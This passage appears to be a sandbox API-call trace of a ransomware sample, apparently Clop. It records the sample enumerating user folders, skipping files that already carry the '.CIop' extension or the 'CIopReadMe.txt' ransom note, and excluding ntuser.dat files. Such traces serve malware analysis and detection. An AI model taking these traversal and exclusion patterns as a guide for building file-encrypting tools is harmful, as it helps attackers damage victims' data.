lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0128.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0128.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0128.311] SetErrorMode (uMode=0x1) returned 0x1 [0128.311] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0128.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0128.311] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0128.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0128.311] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.312] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0128.312] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0128.312] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.312] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.312] lstrcmpW (lpString1="1HSy82Y7UuTj0Jd69.mp4.CIop", lpString2="..") returned 1 [0128.312] lstrcmpW (lpString1="1HSy82Y7UuTj0Jd69.mp4.CIop", lpString2=".") returned 1 [0128.312] lstrlenW (lpString=".CIop") returned 5 [0128.312] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.312] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.312] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.312] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.312] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.312] lstrcmpW (lpString1="eztfYAzpK0.mkv.CIop", lpString2="..") returned 1 [0128.312] lstrcmpW (lpString1="eztfYAzpK0.mkv.CIop", lpString2=".") returned 1 [0128.312] lstrlenW (lpString=".CIop") returned 5 [0128.312] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.312] lstrcmpW (lpString1="Q07hPTbYaA2sSmp7JYW8.swf.CIop", lpString2="..") returned 1 [0128.312] lstrcmpW (lpString1="Q07hPTbYaA2sSmp7JYW8.swf.CIop", lpString2=".") returned 1 [0128.312] lstrlenW (lpString=".CIop") returned 5 [0128.312] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.312] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2="..") returned 1 [0128.312] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2=".") returned 1 [0128.312] lstrlenW (lpString=".CIop") returned 5 [0128.312] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.312] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.312] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.312] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0128.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0128.312] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.312] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0128.312] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0128.312] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.312] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.312] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.313] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.313] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.313] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.313] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.313] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.313] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.313] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.313] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.313] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.313] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.313] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0128.313] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.313] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0128.313] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.313] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0128.313] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0128.313] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0128.313] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0128.313] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.313] SetErrorMode (uMode=0x1) returned 0x1 [0128.313] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.313] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.313] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.313] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0128.314] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0128.314] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0128.314] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0128.314] lstrlenW (lpString="ntuser.dat") returned 10 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT.LOG1", lpString2="..") returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT.LOG1", lpString2=".") returned 1 [0128.314] lstrlenW (lpString="ntuser.dat") returned 10 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT.LOG2", lpString2="..") returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT.LOG2", lpString2=".") returned 1 [0128.314] lstrlenW (lpString="ntuser.dat") returned 10 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0128.314] lstrlenW (lpString="ntuser.dat") returned 10 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0128.314] lstrlenW (lpString="ntuser.dat") returned 10 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0128.314] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0128.314] lstrlenW (lpString="ntuser.dat") returned 10 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.314] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0128.315] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.315] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.315] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.315] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0128.315] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0128.315] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0128.315] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0128.315] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.315] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.315] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.315] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0128.315] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0128.315] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.315] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.315] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0128.315] SetErrorMode (uMode=0x1) returned 0x1 [0128.315] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0128.315] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0128.315] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\AppData\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0128.315] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0128.315] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.315] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0128.315] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0128.315] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.315] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0128.315] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0128.315] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0128.316] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0128.316] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0128.316] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.316] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.316] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0128.316] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0128.316] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.316] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.316] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0128.316] SetErrorMode (uMode=0x1) returned 0x1 [0128.316] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0128.316] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0128.316] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Application Data\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0128.316] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0128.316] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.316] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0128.316] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0128.316] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.316] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0128.316] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0128.316] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.316] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0128.316] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0128.316] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.316] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.316] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0128.316] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0128.316] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.316] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.316] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0128.316] SetErrorMode (uMode=0x1) returned 0x1 [0128.316] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0128.316] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0128.316] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Cookies\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0128.316] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0128.316] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.317] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0128.317] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0128.317] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.317] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0128.317] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0128.317] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.317] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0128.317] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0128.317] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.317] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.317] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0128.317] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0128.317] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.317] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.317] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0128.317] SetErrorMode (uMode=0x1) returned 0x1 [0128.317] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0128.317] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0128.317] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Desktop\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0128.317] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0128.317] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.317] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0128.317] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0128.317] lstrlenW (lpString="Desktop") returned 7 [0128.317] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.317] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0128.317] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0128.317] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.317] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0128.317] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0128.317] lstrlenW (lpString="Desktop") returned 7 [0128.317] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.318] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.318] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0128.318] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0128.318] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.318] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.318] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0128.318] SetErrorMode (uMode=0x1) returned 0x1 [0128.318] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0128.318] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0128.318] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Documents\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0128.318] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="*.*" | out: 